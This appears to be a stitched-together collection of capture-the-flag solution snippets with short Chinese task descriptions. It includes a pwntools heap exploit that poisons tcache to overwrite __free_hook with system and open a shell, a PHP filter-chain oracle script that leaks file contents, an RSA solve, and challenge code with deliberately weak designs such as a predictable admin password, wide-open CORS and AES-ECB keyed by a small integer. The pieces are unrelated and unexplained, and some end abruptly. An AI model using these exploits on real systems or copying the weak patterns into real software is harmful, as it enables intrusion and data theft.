lazy_static! {    static ref RNG: Mutex<Mt> = {        let mut safe_rng = rand::rngs::OsRng;        Mutex::new(Mt::new(safe_rng.next_u32()))    };    static ref USERS: Mutex<HashMap<String, User>> = Mutex::new(HashMap::new());    static ref COOKIES: Mutex<HashMap<String, String>> = Mutex::new(HashMap::new());    static ref USED_INVITATION_CODES: Mutex<HashSet<String>> = Mutex::new(HashSet::new());    static ref ADMIN_PASSWORD: String = {        let mut password = String::new();        for _ in 0..12 {            let next_char = (0x30u8 + (RNG.lock().unwrap().next_u32() % 0x4D) as u8) as char;            password.push(next_char);        }        println!("Admin password: {}", password);        password    };
}

async fn main() -> std::io::Result<()> {    init_admin();
    HttpServer::new(|| {        let cors = Cors::default()            .allow_any_origin()            .allow_any_method()            .allow_any_header()            .supports_credentials();
        App::new()            .wrap(cors)            .route("/api/user", web::get().to(get_images))            .route("/api/image/{filename}", web::get().to(serve_image))            .route("/admin/upload", web::post().to(upload_image))            .route("/register", web::post().to(register_user))            .route("/login", web::post().to(login_user))            .route("/admin.html", web::get().to(admin_html))            .route("/user.html", web::get().to(user_html))            .service(Files::new("/", "./dist").index_file("index.html"))    })        .bind("0.0.0.0:8881")?        .run()        .await}

“找到全部异常报文，将恶意报文中攻击者构造的`teid`按时间先后顺序进行拼接，找到全部由攻击者触发的异常报文进行拼接，所得出的拼接结果即为最终 flag”

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendimport struct
def pad(text):    while len(text) % 16 != 0:        text += ' '    return text
def encrypt(key, plaintext):    key_bytes = struct.pack('>I', key)    key_bytes = key_bytes.ljust(16, b'\0')    cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())    encryptor = cipher.encryptor()    padded_plaintext = pad(plaintext).encode()    encrypted = encryptor.update(padded_plaintext) + encryptor.finalize()    return encrypted
if __name__ == "__main__":    key = 1    msg = "123"    print(encrypt(key,msg))

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendimport struct
def pad(text):    while len(text) % 16 != 0:        text += ' '    return text
def decrypt(key, ciphertext):    key_bytes = struct.pack('>I', key)    key_bytes = key_bytes.ljust(16, b'\0')    cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())    decryptor = cipher.decryptor()    decrypted = decryptor.update(ciphertext) + decryptor.finalize()    return decrypted.decode()
# Given key and ciphertextkey = 475070864ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')
# Decrypt the ciphertextdecrypted_message = decrypt(key, ciphertext)decrypted_message

筛选流量包中的http协议的包，将响应码导出。分析服务器对不同输入的响应，编写脚本，利用请求来探测和识别Base64编码的字符串，逐步构建出隐藏的信息，最终打印出探测到的Base64编码字符串，最后使用Base64解码得到结果

import pysharkimport csv
def extract_status_codes(pcap_file):    cap = pyshark.FileCapture(pcap_file, display_filter="http")    status_codes = []
    for packet in cap:        try:            if 'http' in packet:                       if hasattr(packet.http, 'response_code'):                    status_code = packet.http.response_code                    status_codes.append(status_code)        except AttributeError:                        continue        cap.close()    return status_codes
def write_status_codes_to_csv(status_codes, output_file):    with open(output_file, mode='w', newline='') as csv_file:        writer = csv.writer(csv_file)        writer.writerow(['Status Code'])  # 写入标题        for code in status_codes:            writer.writerow([code])  # 写入每个状态码
# 使用脚本提取状态码pcap_file = '0.pcapng'status_codes = extract_status_codes(pcap_file)
# 将提取的状态码写入 CSV 文件output_file = 'status_codes.csv'write_status_codes_to_csv(status_codes, output_file)
# 从 CSV 文件中读取状态码并转换为整数列表status_codes_from_csv = [int(i) for i in open("status_codes.csv", "r").read().strip().split("\n")[1:]]  # 跳过标题行
print("Extracted HTTP Status Codes:", status_codes_from_csv)

print()for i in range(100):    prefix = f'{header}|{get_nth(i)}'    letter = find_letter(prefix)    # it's a number! check base64    if letter == '*':       prefix = f'{header}|{get_nth(i)}|convert.base64-encode'       s = find_letter(prefix)       if s == 'M':          # 0 - 3          prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'          ss = find_letter(prefix)          if ss in 'CDEFGH':             letter = '0'          elif ss in 'STUVWX':             letter = '1'          elif ss in 'ijklmn':             letter = '2'          elif ss in 'yz*':             letter = '3'          else:             err(f'bad num ({ss})')       elif s == 'N':          # 4 - 7          prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'          ss = find_letter(prefix)          if ss in 'CDEFGH':             letter = '4'          elif ss in 'STUVWX':             letter = '5'          elif ss in 'ijklmn':             letter = '6'          elif ss in 'yz*':             letter = '7'          else:             err(f'bad num ({ss})')       elif s == 'O':          # 8 - 9          prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'          ss = find_letter(prefix)          if ss in 'CDEFGH':             letter = '8'          elif ss in 'STUVWX':             letter = '9'          else:             err(f'bad num ({ss})')       else:          err('wtf')
    print(end=letter)    o += letter    sys.stdout.flush()

print()d = b64decode(o.encode() + b'=' * 4)d = d.replace(b'$)C',b'').split(b"\t")[0]print(b64decode(d))

from pwn import *context.log_level="debug"p=remote("地址",端口)#p=process("./safenote")libc=ELF("./libc-2.32.so")
menu=">"
def add(index,size):    p.sendlineafter(menu,'1')    p.sendlineafter("Index: ",str(index))    p.sendlineafter("Size: ",str(size))
def delete(index):    p.sendlineafter(menu,'2')    p.sendlineafter("Index: ",str(index))
def edit(index,content):    p.sendlineafter(menu,'3')    p.sendlineafter("Index: ",str(index))    p.sendafter("Content: ",content)
def show(index):    p.sendlineafter(menu,'4')    p.sendlineafter("Index: ",str(index))
def debug():    gdb.attach(p)    pause()
def pwn():    for i in range(8):        add(i,0x80)        add(8,0x20)
    delete(0)    show(0)    heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))<<12    print("heap_base-->"+hex(heap_base))
    for i in range(7):        delete(i+1)        add(12,0x90)
    show(7)    libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-224-0x10-libc.sym["__malloc_hook"]    system_addr=libc_base+libc.sym["system"]    __free_hook=libc_base+libc.sym["__free_hook"]    print("libc_base-->"+hex(libc_base))
    add(9,0x80)# 6&9    delete(6)    payload=p64((heap_base>>12)^__free_hook)    edit(9,payload)        add(10,0x80)    edit(10,'/bin/sh\x00')    add(11,0x80)    edit(11,p64(system_addr))
    delete(10)    p.interactive()pwn()

from Crypto.Util.number import getPrime, isPrime, GCD, inverse
nbits = 2048gbits = 1000g = getPrime(int(gbits))while True:    a = getPrime(int(nbits*0.5)-gbits)    p = 2*g*a + 1    if isPrime(p):        break
while True:    b = getPrime(int(nbits*0.5)-gbits)    q = 2*g*b + 1    if p!=q and isPrime(q):        breakN = p*qe = 65537
def str2int(s):    return int(s.encode('latin-1').hex(),16)
def int2str(i):    tmp=hex(i)[2:]    if len(tmp)%2==1:        tmp='0'+tmp    return bytes.fromhex(tmp).decode('latin-1')
with open('pubkey.txt','w') as f:    f.write(str(e)+'\n')    f.write(str(N)+'\n')
with open('flag.txt') as f:    plain = str2int(f.read())
c = pow(plain,e,N)with open('cipher.txt','wb') as f:    f.write(int2str(c).encode('latin-1'))

from Crypto.Util.number import inversefrom sympy import factorint
# pubkey.txt 中提取的参数N = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453e = 65537
'''# 因式分解 N 获取 p 和 qfactors = factorint(N)p = factors.keys()[0]q = factors.keys()[1]'''q=181081097501198023069853833182353184261284123229534078254107942099502325869566163846505417960576038861954213847321685798395883194037860319430010178354074600519049325312842897561278830450748961589667396822373094094674865532726953310816962745801088563041800719074771895743022649725941252134035150899684475275107p=270739053411293468044358005572326880715866131246316305975150551797771999927260913691624449594733673350641598358977228099278925982221096409496197961213452575581038864123668037331549492912118266914139408344450017736857756347795681452284667629499583154669046006953194443040693208729068117415444168170452989294079
# 计算 φ(N)phi = (p - 1) * (q - 1)
# 计算私钥 dd = inverse(e, phi)
# 从 cipher.txt 中读取密文 c'''with open('cipher.txt', 'rb') as f:    c = int(f.read().hex(), 16)'''
c=46756023487662708969420947562244879950960789554982513700989856418118259419375621887858920648905486262806354184999023626235692404150899165189540627714630378757507338901641647662407321535440089829098515214606971052421641211071757097739714971088520608153639900029647609247893220706742444097284687765610613582929875498597175482452795704681526023129025689138100843670083826484626632376555523821922609833624513318445883654173079483102752918235418